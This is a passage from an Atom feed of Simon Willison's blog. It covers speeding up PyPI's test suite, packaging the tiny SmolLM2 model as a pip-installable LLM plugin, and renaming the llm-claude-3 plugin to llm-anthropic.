</summary><category term="pypi"/><category term="python"/><category term="rust"/><category term="mypy"/><category term="uv"/><category term="astral"/><category term="ty"/></entry><entry><title>Making PyPI's test suite 81% faster</title><link href="https://simonwillison.net/2025/May/1/making-pypis-test-suite-81-faster/#atom-tag" rel="alternate"/><published>2025-05-01T21:32:18+00:00</published><updated>2025-05-01T21:32:18+00:00</updated><id>https://simonwillison.net/2025/May/1/making-pypis-test-suite-81-faster/#atom-tag</id><summary type="html">
    
&lt;p&gt;&lt;strong&gt;&lt;a href="https://blog.trailofbits.com/2025/05/01/making-pypis-test-suite-81-faster/"&gt;Making PyPI&amp;#x27;s test suite 81% faster&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
Fantastic collection of tips from Alexis Challande on speeding up a Python CI workflow.&lt;/p&gt;
&lt;p&gt;I've used &lt;a href="https://github.com/pytest-dev/pytest-xdist"&gt;pytest-xdist&lt;/a&gt; to run tests in parallel (across multiple cores) before, but the following tips were new to me:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;COVERAGE_CORE=sysmon pytest --cov=myproject&lt;/code&gt; tells &lt;a href="https://coverage.readthedocs.io/en/7.8.0/"&gt;coverage.py&lt;/a&gt; on Python 3.12 and higher to use the new &lt;a href="https://docs.python.org/3/library/sys.monitoring.html#module-sys.monitoring"&gt;sys.monitoring&lt;/a&gt; mechanism, which knocked their test execution time down from 58s to 27s.&lt;/li&gt;
&lt;li&gt;Setting &lt;code&gt;testpaths = ["tests/"]&lt;/code&gt; in &lt;code&gt;pytest.ini&lt;/code&gt; lets &lt;code&gt;pytest&lt;/code&gt; skip scanning other folders when trying to find tests.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;python -X importtime ...&lt;/code&gt; shows a trace of exactly how long every package took to import. I could have done with this last week when I was trying to &lt;a href="https://github.com/simonw/llm/issues/949"&gt;debug slow LLM startup time&lt;/a&gt; which turned out to be caused be heavy imports.&lt;/li&gt;
&lt;/ul&gt;

    &lt;p&gt;&lt;small&gt;&lt;/small&gt;Via &lt;a href="https://lobste.rs/s/1jb4l7/making_pypi_s_test_suite_81_faster"&gt;lobste.rs&lt;/a&gt;&lt;/small&gt;&lt;/p&gt;


    &lt;p&gt;Tags: &lt;a href="https://simonwillison.net/tags/performance"&gt;performance&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/pypi"&gt;pypi&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/python"&gt;python&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/pytest"&gt;pytest&lt;/a&gt;&lt;/p&gt;



</summary><category term="performance"/><category term="pypi"/><category term="python"/><category term="pytest"/></entry><entry><title>Using pip to install a Large Language Model that's under 100MB</title><link href="https://simonwillison.net/2025/Feb/7/pip-install-llm-smollm2/#atom-tag" rel="alternate"/><published>2025-02-07T06:34:59+00:00</published><updated>2025-02-07T06:34:59+00:00</updated><id>https://simonwillison.net/2025/Feb/7/pip-install-llm-smollm2/#atom-tag</id><summary type="html">
    &lt;p&gt;I just released &lt;a href="https://github.com/simonw/llm-smollm2"&gt;llm-smollm2&lt;/a&gt;, a new plugin for &lt;a href="https://llm.datasette.io/"&gt;LLM&lt;/a&gt; that bundles a quantized copy of the &lt;a href="https://huggingface.co/HuggingFaceTB/SmolLM2-135M-Instruct"&gt;SmolLM2-135M-Instruct&lt;/a&gt; LLM inside of the Python package.&lt;/p&gt;
&lt;p&gt;This means you can now &lt;code&gt;pip install&lt;/code&gt; a full LLM!&lt;/p&gt;

&lt;p&gt;If you're already using &lt;a href="https://llm.datasette.io/"&gt;LLM&lt;/a&gt; you can install it like this:&lt;/p&gt;
&lt;div class="highlight highlight-source-shell"&gt;&lt;pre&gt;llm install llm-smollm2&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Then run prompts like this:&lt;/p&gt;
&lt;div class="highlight highlight-source-shell"&gt;&lt;pre&gt;llm -m SmolLM2 &lt;span class="pl-s"&gt;&lt;span class="pl-pds"&gt;'&lt;/span&gt;Are dogs real?&lt;span class="pl-pds"&gt;'&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;(New favourite test prompt for tiny models, courtesy of &lt;a href="https://bsky.app/profile/timfduffy.com/post/3lhknvwijps2o"&gt;Tim Duffy&lt;/a&gt;. &lt;a href="https://gist.github.com/simonw/a71d83cd8c6caa49cec4a9f296c267df"&gt;Here's the result&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;If you don't have LLM yet first &lt;a href="https://llm.datasette.io/en/stable/setup.html"&gt;follow these installation instructions&lt;/a&gt;, or &lt;code&gt;brew install llm&lt;/code&gt; or &lt;code&gt;pipx install llm&lt;/code&gt; or &lt;code&gt;uv tool install llm&lt;/code&gt; depending on your preferred way of getting your Python tools.&lt;/p&gt;
&lt;p&gt;If you have &lt;a href="https://github.com/astral-sh/uv"&gt;uv&lt;/a&gt; setup you don't need to install anything at all! The following command will spin up an ephemeral environment, install the necessary packages and start a chat session with the model all in one go:&lt;/p&gt;
&lt;div class="highlight highlight-source-shell"&gt;&lt;pre&gt;uvx --with llm-smollm2 llm chat -m SmolLM2&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src="https://static.simonwillison.net/static/2025/smol.gif" alt="$ uvx --with llm-smollm2 llm chat -m SmolLM2
Chatting with SmolLM2
Type 'exit' or 'quit' to exit
Type '!multi' to enter multiple lines, then '!end' to finish
&gt; tell me a long story about a dog
The story of a dog is a tale of love, loss, and the unspoken rules of the universe. It begins with a small, timid, and timid dog named Max. Max was born into a loving family, but his life was forever changed by a cruel and cruel owner. He was left to fend for himself, and he was left to fend for himself.

Max's owner, a kind and gentle soul named Elena, was a cruel and cruel one. She had no patience, no love, and she would do anything to keep Max away from her. Max was left to fend for himself, and he was left to fend for himself.

Max's owner, Elena, was determined to make Max happy. She took Max to a beautiful and beautiful place, where Max was allowed to roam freely. Max was allowed to roam freely, and Max was allowed to roam freely. [Then repeats that sentence many times]" style="max-width: 100%;" /&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href="https://simonwillison.net/2025/Feb/7/pip-install-llm-smollm2/#finding-a-tiny-model"&gt;Finding a tiny model&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://simonwillison.net/2025/Feb/7/pip-install-llm-smollm2/#building-the-plugin"&gt;Building the plugin&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://simonwillison.net/2025/Feb/7/pip-install-llm-smollm2/#packaging-the-plugin"&gt;Packaging the plugin&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://simonwillison.net/2025/Feb/7/pip-install-llm-smollm2/#publishing-to-pypi"&gt;Publishing to PyPI&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://simonwillison.net/2025/Feb/7/pip-install-llm-smollm2/#is-the-model-any-good-"&gt;Is the model any good?&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id="finding-a-tiny-model"&gt;Finding a tiny model&lt;/h4&gt;
&lt;p&gt;The fact that the model is almost exactly 100MB is no coincidence: that's the &lt;a href="https://pypi.org/help/#file-size-limit"&gt;default size limit&lt;/a&gt; for a Python package that can be uploaded to the Python Package Index (PyPI).&lt;/p&gt;
&lt;p&gt;I &lt;a href="https://bsky.app/profile/simonwillison.net/post/3lhklqd62jc2x"&gt;asked on Bluesky&lt;/a&gt; if anyone had seen a just-about-usable GGUF model that was under 100MB, and Artisan Loaf &lt;a href="https://bsky.app/profile/artisanloaf.bsky.social/post/3lhklumfhvs2r"&gt;pointed me&lt;/a&gt; to &lt;a href="https://huggingface.co/HuggingFaceTB/SmolLM2-135M-Instruct"&gt;SmolLM2-135M-Instruct&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I ended up using &lt;a href="https://huggingface.co/QuantFactory/SmolLM2-135M-Instruct-GGUF/tree/main"&gt;this quantization&lt;/a&gt; by &lt;a href="https://huggingface.co/QuantFactory"&gt;QuantFactory&lt;/a&gt; just because it was the first sub-100MB model I tried that worked.&lt;/p&gt;
&lt;p&gt;Trick for finding quantized models: Hugging Face has a neat "model tree" feature in the side panel of their model pages, which includes links to relevant quantized models. I find most of my GGUFs using that feature.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://static.simonwillison.net/static/2025/hugging-face-model-tree.jpg" alt="Model tree for HuggingFaceTB/SmolLM2-135M-Instruct. 60 Quantizations, 6 adapters, 80 finetunes, 1 merge." style="max-width: 100%;" /&gt;&lt;/p&gt;
&lt;h4 id="building-the-plugin"&gt;Building the plugin&lt;/h4&gt;
&lt;p&gt;I first tried the model out using Python and the &lt;a href="https://github.com/abetlen/llama-cpp-python"&gt;llama-cpp-python&lt;/a&gt; library like this:&lt;/p&gt;
&lt;div class="highlight highlight-source-shell"&gt;&lt;pre&gt;uv run --with llama-cpp-python python&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Then:&lt;/p&gt;
&lt;pre&gt;&lt;span class="pl-k"&gt;from&lt;/span&gt; &lt;span class="pl-s1"&gt;llama_cpp&lt;/span&gt; &lt;span class="pl-k"&gt;import&lt;/span&gt; &lt;span class="pl-v"&gt;Llama&lt;/span&gt;
&lt;span class="pl-k"&gt;from&lt;/span&gt; &lt;span class="pl-s1"&gt;pprint&lt;/span&gt; &lt;span class="pl-k"&gt;import&lt;/span&gt; &lt;span class="pl-s1"&gt;pprint&lt;/span&gt;
&lt;span class="pl-s1"&gt;llm&lt;/span&gt; &lt;span class="pl-c1"&gt;=&lt;/span&gt; &lt;span class="pl-en"&gt;Llama&lt;/span&gt;(&lt;span class="pl-s1"&gt;model_path&lt;/span&gt;&lt;span class="pl-c1"&gt;=&lt;/span&gt;&lt;span class="pl-s"&gt;"SmolLM2-135M-Instruct.Q4_1.gguf"&lt;/span&gt;)
&lt;span class="pl-s1"&gt;output&lt;/span&gt; &lt;span class="pl-c1"&gt;=&lt;/span&gt; &lt;span class="pl-s1"&gt;llm&lt;/span&gt;.&lt;span class="pl-c1"&gt;create_chat_completion&lt;/span&gt;(&lt;span class="pl-s1"&gt;messages&lt;/span&gt;&lt;span class="pl-c1"&gt;=&lt;/span&gt;[
    {&lt;span class="pl-s"&gt;"role"&lt;/span&gt;: &lt;span class="pl-s"&gt;"user"&lt;/span&gt;, &lt;span class="pl-s"&gt;"content"&lt;/span&gt;: &lt;span class="pl-s"&gt;"Hi"&lt;/span&gt;}
])
&lt;span class="pl-en"&gt;pprint&lt;/span&gt;(&lt;span class="pl-s1"&gt;output&lt;/span&gt;)&lt;/pre&gt;
&lt;p&gt;This gave me the output I was expecting:&lt;/p&gt;
&lt;pre&gt;{&lt;span class="pl-s"&gt;'choices'&lt;/span&gt;: [{&lt;span class="pl-s"&gt;'finish_reason'&lt;/span&gt;: &lt;span class="pl-s"&gt;'stop'&lt;/span&gt;,
              &lt;span class="pl-s"&gt;'index'&lt;/span&gt;: &lt;span class="pl-c1"&gt;0&lt;/span&gt;,
              &lt;span class="pl-s"&gt;'logprobs'&lt;/span&gt;: &lt;span class="pl-c1"&gt;None&lt;/span&gt;,
              &lt;span class="pl-s"&gt;'message'&lt;/span&gt;: {&lt;span class="pl-s"&gt;'content'&lt;/span&gt;: &lt;span class="pl-s"&gt;'Hello! How can I assist you today?'&lt;/span&gt;,
                          &lt;span class="pl-s"&gt;'role'&lt;/span&gt;: &lt;span class="pl-s"&gt;'assistant'&lt;/span&gt;}}],
 &lt;span class="pl-s"&gt;'created'&lt;/span&gt;: &lt;span class="pl-c1"&gt;1738903256&lt;/span&gt;,
 &lt;span class="pl-s"&gt;'id'&lt;/span&gt;: &lt;span class="pl-s"&gt;'chatcmpl-76ea1733-cc2f-46d4-9939-90efa2a05e7c'&lt;/span&gt;,
 &lt;span class="pl-s"&gt;'model'&lt;/span&gt;: &lt;span class="pl-s"&gt;'SmolLM2-135M-Instruct.Q4_1.gguf'&lt;/span&gt;,
 &lt;span class="pl-s"&gt;'object'&lt;/span&gt;: &lt;span class="pl-s"&gt;'chat.completion'&lt;/span&gt;,
 &lt;span class="pl-s"&gt;'usage'&lt;/span&gt;: {&lt;span class="pl-s"&gt;'completion_tokens'&lt;/span&gt;: &lt;span class="pl-c1"&gt;9&lt;/span&gt;, &lt;span class="pl-s"&gt;'prompt_tokens'&lt;/span&gt;: &lt;span class="pl-c1"&gt;31&lt;/span&gt;, &lt;span class="pl-s"&gt;'total_tokens'&lt;/span&gt;: &lt;span class="pl-c1"&gt;40&lt;/span&gt;}}&lt;/pre&gt;
&lt;p&gt;But it also &lt;em&gt;spammed&lt;/em&gt; my terminal with a huge volume of debugging output - which started like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;llama_model_load_from_file_impl: using device Metal (Apple M2 Max) - 49151 MiB free
llama_model_loader: loaded meta data with 33 key-value pairs and 272 tensors from SmolLM2-135M-Instruct.Q4_1.gguf (version GGUF V3 (latest))
llama_model_loader: Dumping metadata keys/values. Note: KV overrides do not apply in this output.
llama_model_loader: - kv   0:                       general.architecture str              = llama
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And then continued for more than &lt;a href="https://gist.github.com/simonw/9ef7acd836b1cc40c14686eae4dca340"&gt;500 lines&lt;/a&gt;!&lt;/p&gt;
&lt;p&gt;I've had this problem with &lt;code&gt;llama-cpp-python&lt;/code&gt; and &lt;code&gt;llama.cpp&lt;/code&gt; in the past, and was sad to find that the documentation still doesn't have a great answer for how to avoid this.&lt;/p&gt;
&lt;p&gt;So I turned to the just released &lt;a href="https://simonwillison.net/2025/Feb/5/gemini-2/"&gt;Gemini 2.0 Pro (Experimental)&lt;/a&gt;, because I know it's a strong model with a long input limit.&lt;/p&gt;
&lt;p&gt;I ran the entire &lt;code&gt;llama-cpp-python&lt;/code&gt; codebase through it like this:&lt;/p&gt;
&lt;div class="highlight highlight-source-shell"&gt;&lt;pre&gt;&lt;span class="pl-c1"&gt;cd&lt;/span&gt; /tmp
git clone https://github.com/abetlen/llama-cpp-python
&lt;span class="pl-c1"&gt;cd&lt;/span&gt; llama-cpp-python
files-to-prompt -e py &lt;span class="pl-c1"&gt;.&lt;/span&gt; -c &lt;span class="pl-k"&gt;|&lt;/span&gt; llm -m gemini-2.0-pro-exp-02-05 \
  &lt;span class="pl-s"&gt;&lt;span class="pl-pds"&gt;'&lt;/span&gt;How can I prevent this library from logging any information at all while it is running - no stderr or anything like that&lt;span class="pl-pds"&gt;'&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Here's &lt;a href="https://gist.github.com/simonw/20476c2c6f7604df2994212cebfafef4#response"&gt;the answer I got back&lt;/a&gt;. It recommended setting the logger to &lt;code&gt;logging.CRITICAL&lt;/code&gt;, passing &lt;code&gt;verbose=False&lt;/code&gt; to the constructor and, most importantly, using the following context manager to suppress all output:&lt;/p&gt;
&lt;pre&gt;&lt;span class="pl-k"&gt;from&lt;/span&gt; &lt;span class="pl-s1"&gt;contextlib&lt;/span&gt; &lt;span class="pl-k"&gt;import&lt;/span&gt; &lt;span class="pl-s1"&gt;contextmanager&lt;/span&gt;, &lt;span class="pl-s1"&gt;redirect_stderr&lt;/span&gt;, &lt;span class="pl-s1"&gt;redirect_stdout&lt;/span&gt;

&lt;span class="pl-en"&gt;@&lt;span class="pl-s1"&gt;contextmanager&lt;/span&gt;&lt;/span&gt;
&lt;span class="pl-k"&gt;def&lt;/span&gt; &lt;span class="pl-en"&gt;suppress_output&lt;/span&gt;():
    &lt;span class="pl-s"&gt;"""&lt;/span&gt;
&lt;span class="pl-s"&gt;    Suppresses all stdout and stderr output within the context.&lt;/span&gt;
&lt;span class="pl-s"&gt;    """&lt;/span&gt;
    &lt;span class="pl-k"&gt;with&lt;/span&gt; &lt;span class="pl-en"&gt;open&lt;/span&gt;(&lt;span class="pl-s1"&gt;os&lt;/span&gt;.&lt;span class="pl-c1"&gt;devnull&lt;/span&gt;, &lt;span class="pl-s"&gt;"w"&lt;/span&gt;) &lt;span class="pl-k"&gt;as&lt;/span&gt; &lt;span class="pl-s1"&gt;devnull&lt;/span&gt;:
        &lt;span class="pl-k"&gt;with&lt;/span&gt; &lt;span class="pl-en"&gt;redirect_stdout&lt;/span&gt;(&lt;span class="pl-s1"&gt;devnull&lt;/span&gt;), &lt;span class="pl-en"&gt;redirect_stderr&lt;/span&gt;(&lt;span class="pl-s1"&gt;devnull&lt;/span&gt;):
            &lt;span class="pl-k"&gt;yield&lt;/span&gt;&lt;/pre&gt;
&lt;p&gt;This worked! It turned out most of the output came from initializing the &lt;code&gt;LLM&lt;/code&gt; class, so I wrapped that like so:&lt;/p&gt;
&lt;pre&gt;&lt;span class="pl-k"&gt;with&lt;/span&gt; &lt;span class="pl-en"&gt;suppress_output&lt;/span&gt;():
    &lt;span class="pl-s1"&gt;model&lt;/span&gt; &lt;span class="pl-c1"&gt;=&lt;/span&gt; &lt;span class="pl-en"&gt;Llama&lt;/span&gt;(&lt;span class="pl-s1"&gt;model_path&lt;/span&gt;&lt;span class="pl-c1"&gt;=&lt;/span&gt;&lt;span class="pl-s1"&gt;self&lt;/span&gt;.&lt;span class="pl-c1"&gt;model_path&lt;/span&gt;, &lt;span class="pl-s1"&gt;verbose&lt;/span&gt;&lt;span class="pl-c1"&gt;=&lt;/span&gt;&lt;span class="pl-c1"&gt;False&lt;/span&gt;)&lt;/pre&gt;
&lt;p&gt;Proof of concept in hand I set about writing the plugin. I started with my &lt;a href="https://github.com/simonw/llm-plugin"&gt;simonw/llm-plugin&lt;/a&gt; cookiecutter template:&lt;/p&gt;
&lt;div class="highlight highlight-source-shell"&gt;&lt;pre&gt;uvx cookiecutter gh:simonw/llm-plugin&lt;/pre&gt;&lt;/div&gt;
&lt;pre&gt;&lt;code&gt;  [1/6] plugin_name (): smollm2
  [2/6] description (): SmolLM2-135M-Instruct.Q4_1 for LLM
  [3/6] hyphenated (smollm2): 
  [4/6] underscored (smollm2): 
  [5/6] github_username (): simonw
  [6/6] author_name (): Simon Willison
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;a href="https://github.com/simonw/llm-smollm2/blob/0.1.1/llm_smollm2/__init__.py"&gt;rest of the plugin&lt;/a&gt; was mostly borrowed from my existing &lt;a href="https://github.com/simonw/llm-gguf/blob/0.2/llm_gguf.py"&gt;llm-gguf&lt;/a&gt; plugin, updated based on the latest README for the &lt;code&gt;llama-cpp-python&lt;/code&gt; project.&lt;/p&gt;
&lt;p&gt;There's more information on building plugins in &lt;a href="https://llm.datasette.io/en/stable/plugins/tutorial-model-plugin.html"&gt;the tutorial on writing a plugin&lt;/a&gt;.&lt;/p&gt;
&lt;h4 id="packaging-the-plugin"&gt;Packaging the plugin&lt;/h4&gt;
&lt;p&gt;Once I had that working the last step was to figure out how to package it for PyPI. I'm never quite sure of the best way to bundle a binary file in a Python package, especially one that uses a &lt;code&gt;pyproject.toml&lt;/code&gt; file... so I dumped a copy of my existing &lt;code&gt;pyproject.toml&lt;/code&gt; file into o3-mini-high and prompted:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Modify this to bundle a SmolLM2-135M-Instruct.Q4_1.gguf file inside the package. I don't want to use hatch or a manifest or anything, I just want to use setuptools.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Here's &lt;a href="https://chatgpt.com/share/67a59122-67c8-8006-9be4-29f8419343ad"&gt;the shared transcript&lt;/a&gt; - it gave me exactly what I wanted. I bundled it by adding this to the end of the &lt;code&gt;toml&lt;/code&gt; file:&lt;/p&gt;
&lt;div class="highlight highlight-source-toml"&gt;&lt;pre&gt;[&lt;span class="pl-en"&gt;tool&lt;/span&gt;.&lt;span class="pl-en"&gt;setuptools&lt;/span&gt;.&lt;span class="pl-en"&gt;package-data&lt;/span&gt;]
&lt;span class="pl-smi"&gt;llm_smollm2&lt;/span&gt; = [&lt;span class="pl-s"&gt;&lt;span class="pl-pds"&gt;"&lt;/span&gt;SmolLM2-135M-Instruct.Q4_1.gguf&lt;span class="pl-pds"&gt;"&lt;/span&gt;&lt;/span&gt;]&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Then dropping that &lt;code&gt;.gguf&lt;/code&gt; file into the &lt;code&gt;llm_smollm2/&lt;/code&gt; directory and putting my plugin code in &lt;code&gt;llm_smollm2/__init__.py&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;I tested it locally by running this:&lt;/p&gt;
&lt;div class="highlight highlight-source-shell"&gt;&lt;pre&gt;python -m pip install build
python -m build&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;I fired up a fresh virtual environment and ran &lt;code&gt;pip install ../path/to/llm-smollm2/dist/llm_smollm2-0.1-py3-none-any.whl&lt;/code&gt; to confirm that the package worked as expected.&lt;/p&gt;
&lt;h4 id="publishing-to-pypi"&gt;Publishing to PyPI&lt;/h4&gt;
&lt;p&gt;My cookiecutter template comes with &lt;a href="https://github.com/simonw/llm-smollm2/blob/main/.github/workflows/publish.yml"&gt;a GitHub Actions workflow&lt;/a&gt; that publishes the package to PyPI when a new release is created using the GitHub web interface. Here's the relevant YAML:&lt;/p&gt;
&lt;div class="highlight highlight-source-yaml"&gt;&lt;pre&gt;  &lt;span class="pl-ent"&gt;deploy&lt;/span&gt;:
    &lt;span class="pl-ent"&gt;runs-on&lt;/span&gt;: &lt;span class="pl-s"&gt;ubuntu-latest&lt;/span&gt;
    &lt;span class="pl-ent"&gt;needs&lt;/span&gt;: &lt;span class="pl-s"&gt;[test]&lt;/span&gt;
    &lt;span class="pl-ent"&gt;environment&lt;/span&gt;: &lt;span class="pl-s"&gt;release&lt;/span&gt;
    &lt;span class="pl-ent"&gt;permissions&lt;/span&gt;:
      &lt;span class="pl-ent"&gt;id-token&lt;/span&gt;: &lt;span class="pl-s"&gt;write&lt;/span&gt;
    &lt;span class="pl-ent"&gt;steps&lt;/span&gt;:
    - &lt;span class="pl-ent"&gt;uses&lt;/span&gt;: &lt;span class="pl-s"&gt;actions/checkout@v4&lt;/span&gt;
    - &lt;span class="pl-ent"&gt;name&lt;/span&gt;: &lt;span class="pl-s"&gt;Set up Python&lt;/span&gt;
      &lt;span class="pl-ent"&gt;uses&lt;/span&gt;: &lt;span class="pl-s"&gt;actions/setup-python@v5&lt;/span&gt;
      &lt;span class="pl-ent"&gt;with&lt;/span&gt;:
        &lt;span class="pl-ent"&gt;python-version&lt;/span&gt;: &lt;span class="pl-s"&gt;&lt;span class="pl-pds"&gt;"&lt;/span&gt;3.13&lt;span class="pl-pds"&gt;"&lt;/span&gt;&lt;/span&gt;
        &lt;span class="pl-ent"&gt;cache&lt;/span&gt;: &lt;span class="pl-s"&gt;pip&lt;/span&gt;
        &lt;span class="pl-ent"&gt;cache-dependency-path&lt;/span&gt;: &lt;span class="pl-s"&gt;pyproject.toml&lt;/span&gt;
    - &lt;span class="pl-ent"&gt;name&lt;/span&gt;: &lt;span class="pl-s"&gt;Install dependencies&lt;/span&gt;
      &lt;span class="pl-ent"&gt;run&lt;/span&gt;: &lt;span class="pl-s"&gt;|&lt;/span&gt;
&lt;span class="pl-s"&gt;        pip install setuptools wheel build&lt;/span&gt;
&lt;span class="pl-s"&gt;&lt;/span&gt;    - &lt;span class="pl-ent"&gt;name&lt;/span&gt;: &lt;span class="pl-s"&gt;Build&lt;/span&gt;
      &lt;span class="pl-ent"&gt;run&lt;/span&gt;: &lt;span class="pl-s"&gt;|&lt;/span&gt;
&lt;span class="pl-s"&gt;        python -m build&lt;/span&gt;
&lt;span class="pl-s"&gt;&lt;/span&gt;    - &lt;span class="pl-ent"&gt;name&lt;/span&gt;: &lt;span class="pl-s"&gt;Publish&lt;/span&gt;
      &lt;span class="pl-ent"&gt;uses&lt;/span&gt;: &lt;span class="pl-s"&gt;pypa/gh-action-pypi-publish@release/v1&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This runs after the &lt;code&gt;test&lt;/code&gt; job has passed. It uses the &lt;a href="https://github.com/pypa/gh-action-pypi-publish"&gt;pypa/gh-action-pypi-publish&lt;/a&gt; Action to publish to PyPI - I wrote more about how that works &lt;a href="https://til.simonwillison.net/pypi/pypi-releases-from-github"&gt;in this TIL&lt;/a&gt;.&lt;/p&gt;
&lt;h4 id="is-the-model-any-good-"&gt;Is the model any good?&lt;/h4&gt;
&lt;p&gt;This one really isn't! It's not really surprising but it turns out 94MB really isn't enough space for a model that can do anything useful.&lt;/p&gt;
&lt;p&gt;It's &lt;em&gt;super&lt;/em&gt; fun to play with, and I continue to maintain that small, weak models are a great way to help build a mental model of how this technology actually works.&lt;/p&gt;
&lt;p&gt;That's not to say SmolLM2 isn't a fantastic model family. I'm running the smallest, most restricted version here. &lt;a href="https://huggingface.co/blog/smollm"&gt;SmolLM - blazingly fast and remarkably powerful&lt;/a&gt; describes the full model family - which comes in 135M, 360M, and 1.7B sizes. The larger versions are a whole lot more capable.&lt;/p&gt;
&lt;p&gt;If anyone can figure out something genuinely useful to do with the 94MB version I'd love to hear about it.&lt;/p&gt;
    
        &lt;p&gt;Tags: &lt;a href="https://simonwillison.net/tags/pip"&gt;pip&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/plugins"&gt;plugins&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/projects"&gt;projects&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/pypi"&gt;pypi&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/python"&gt;python&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/ai"&gt;ai&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/github-actions"&gt;github-actions&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/generative-ai"&gt;generative-ai&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/local-llms"&gt;local-llms&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/llms"&gt;llms&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/ai-assisted-programming"&gt;ai-assisted-programming&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/llm"&gt;llm&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/gemini"&gt;gemini&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/uv"&gt;uv&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/smollm"&gt;smollm&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/o3"&gt;o3&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/llama-cpp"&gt;llama-cpp&lt;/a&gt;&lt;/p&gt;
    

</summary><category term="pip"/><category term="plugins"/><category term="projects"/><category term="pypi"/><category term="python"/><category term="ai"/><category term="github-actions"/><category term="generative-ai"/><category term="local-llms"/><category term="llms"/><category term="ai-assisted-programming"/><category term="llm"/><category term="gemini"/><category term="uv"/><category term="smollm"/><category term="o3"/><category term="llama-cpp"/></entry><entry><title>llm-anthropic</title><link href="https://simonwillison.net/2025/Feb/2/llm-anthropic/#atom-tag" rel="alternate"/><published>2025-02-02T06:17:53+00:00</published><updated>2025-02-02T06:17:53+00:00</updated><id>https://simonwillison.net/2025/Feb/2/llm-anthropic/#atom-tag</id><summary type="html">
    
&lt;p&gt;&lt;strong&gt;&lt;a href="https://github.com/simonw/llm-anthropic"&gt;llm-anthropic&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
I've renamed my &lt;a href="https://github.com/simonw/llm-claude-3"&gt;llm-claude-3&lt;/a&gt; plugin to &lt;code&gt;llm-anthropic&lt;/code&gt;, on the basis that Claude 4 will probably happen at some point so this is a better name for the plugin.&lt;/p&gt;
&lt;p&gt;If you're a previous user of &lt;code&gt;llm-claude-3&lt;/code&gt; you can upgrade to the new plugin like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;llm install -U llm-claude-3
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This should remove the old plugin and install the new one, because the latest &lt;code&gt;llm-claude-3&lt;/code&gt; depends on &lt;code&gt;llm-anthropic&lt;/code&gt;. Just installing &lt;code&gt;llm-anthropic&lt;/code&gt; may leave you with both plugins installed at once.&lt;/p&gt;
&lt;p&gt;There is one extra manual step you'll need to take during this upgrade: creating a new &lt;code&gt;anthropic&lt;/code&gt; stored key with the same API token you previously stored under &lt;code&gt;claude&lt;/code&gt;. You can do that like so:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;llm keys set anthropic --value "$(llm keys get claude)"
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I released &lt;a href="https://github.com/simonw/llm-anthropic/releases/tag/0.12"&gt;llm-anthropic 0.12&lt;/a&gt; yesterday with new features not previously included in &lt;code&gt;llm-claude-3&lt;/code&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;Support for Claude's &lt;a href="https://docs.anthropic.com/en/docs/build-with-claude/prompt-engineering/prefill-claudes-response"&gt;prefill&lt;/a&gt; feature, using the new &lt;code&gt;-o prefill '{'&lt;/code&gt; option and the accompanying &lt;code&gt;-o hide_prefill 1&lt;/code&gt; option to prevent the prefill from being included in the output text. &lt;a href="https://github.com/simonw/llm-anthropic/issues/2"&gt;#2&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;New &lt;code&gt;-o stop_sequences '```'&lt;/code&gt; option for specifying one or more stop sequences. To specify multiple stop sequences pass a JSON array of strings :&lt;code&gt;-o stop_sequences '["end", "stop"]&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Model options are now documented in the README.&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
